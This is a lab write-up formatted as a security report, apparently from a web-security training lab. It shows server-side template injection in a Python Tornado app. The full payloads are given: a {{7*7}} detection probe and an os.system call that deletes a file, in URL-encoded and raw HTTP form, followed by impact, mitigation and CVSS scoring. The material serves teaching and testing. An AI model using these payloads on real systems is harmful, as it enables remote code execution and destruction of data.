Title of Issue

Server-Side Template Injection (SSTI) — Basic Remote Code Execution via Tornado Template Engine

---

Description

The application reflects a user-supplied `message` parameter directly into a server-side Tornado template without sanitization. The Tornado template engine evaluates expressions enclosed in `{{ }}` and executes statements in `{% %}` blocks. An attacker can inject template directives that execute arbitrary Python code on the server, leading to Remote Code Execution (RCE).

Affected Endpoint: `GET /?message=<input>` **Template Engine:** Python Tornado

When a normal value is passed, it is reflected in the response:

```
/?message=Hello
```

Response: `Hello`

When a template expression is injected:

```
/?message={{7*7}}
```

Response: `49` — confirming template evaluation.

Steps to Exploit

1. Navigate to the application and observe the `message` URL parameter is reflected on the page.
2. Test for template injection by injecting a mathematical expression:

   ```
   /?message={{7*7}}
   ```

3. Observe the response renders `49` — confirming Tornado SSTI.
4. Escalate to code execution by importing Python's `os` module and executing a shell command:

   ```
   /?message={% import os %}{{os.system("rm /home/carlos/morale.txt")}}
   ```

5. Observe the lab is marked as solved — the file `/home/carlos/morale.txt` has been deleted.

Proof of Concept

Detection Payload:

```
{{7*7}}
```

Response: `49` — confirms Tornado template execution.

Exploitation Payload:

```
{% import os %}{{os.system("rm /home/carlos/morale.txt")}}
```

Injected URL:

```
https://<lab-id>.web-security-academy.net/?message={%25+import+os+%25}
{{os.system(%22rm+/home/carlos/morale.txt%22)}}
```

HTTP Request:

```
GET /?
message=%7B%25+import+os+%25%7D%7B%7Bos.system(%22rm+%2Fhome%2Fcarlos%2Fmorale.txt%22)
HTTP/1.1
Host: <lab-id>.web-security-academy.net
```

Execution Flow:

1. `{% import os %}` — imports Python's `os` module into the template context.
2. `{{os.system("rm /home/carlos/morale.txt")}}` — executes the shell command, deleting the target file.
3. The Tornado engine processes both directives server-side, executing arbitrary OS-level code.

Impact

- Full Remote Code Execution on the web server with the privileges of the application process.
- Ability to read, write, or delete any file accessible to the web process.
- Complete server compromise — lateral movement, backdoor installation, credential harvesting.
- Data exfiltration of application source code, database credentials, and private keys.

Mitigation / Remediation

1. **Never pass user-supplied input directly to a template rendering function** — treat all template content as untrusted.
2. **Use a sandboxed template engine** (e.g., Jinja2 with sandbox mode) that restricts access to dangerous Python built-ins.
3. **Implement strict input validation** on all URL parameters — reject input containing `{{`, `{%`, or other template delimiters.
4. **Escape user input before embedding in templates** using the engine's built-in escaping functions.
5. **Run the application under a least-privilege OS user** to limit the impact of RCE.

CVSS Score

CVSS v3.1 Score: 9.8 (Critical) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Exploitable remotely via URL parameter
Attack Complexity	Low	Simple payload, no prerequisites
Privileges Required	None	Parameter is accessible without authentication

User Interaction	None	No victim action required
Scope	Unchanged	RCE within the server process boundary
Confidentiality Impact	High	Full server file system access
Integrity Impact	High	Arbitrary file modification and deletion
Availability Impact	High	Service disruption possible via process termination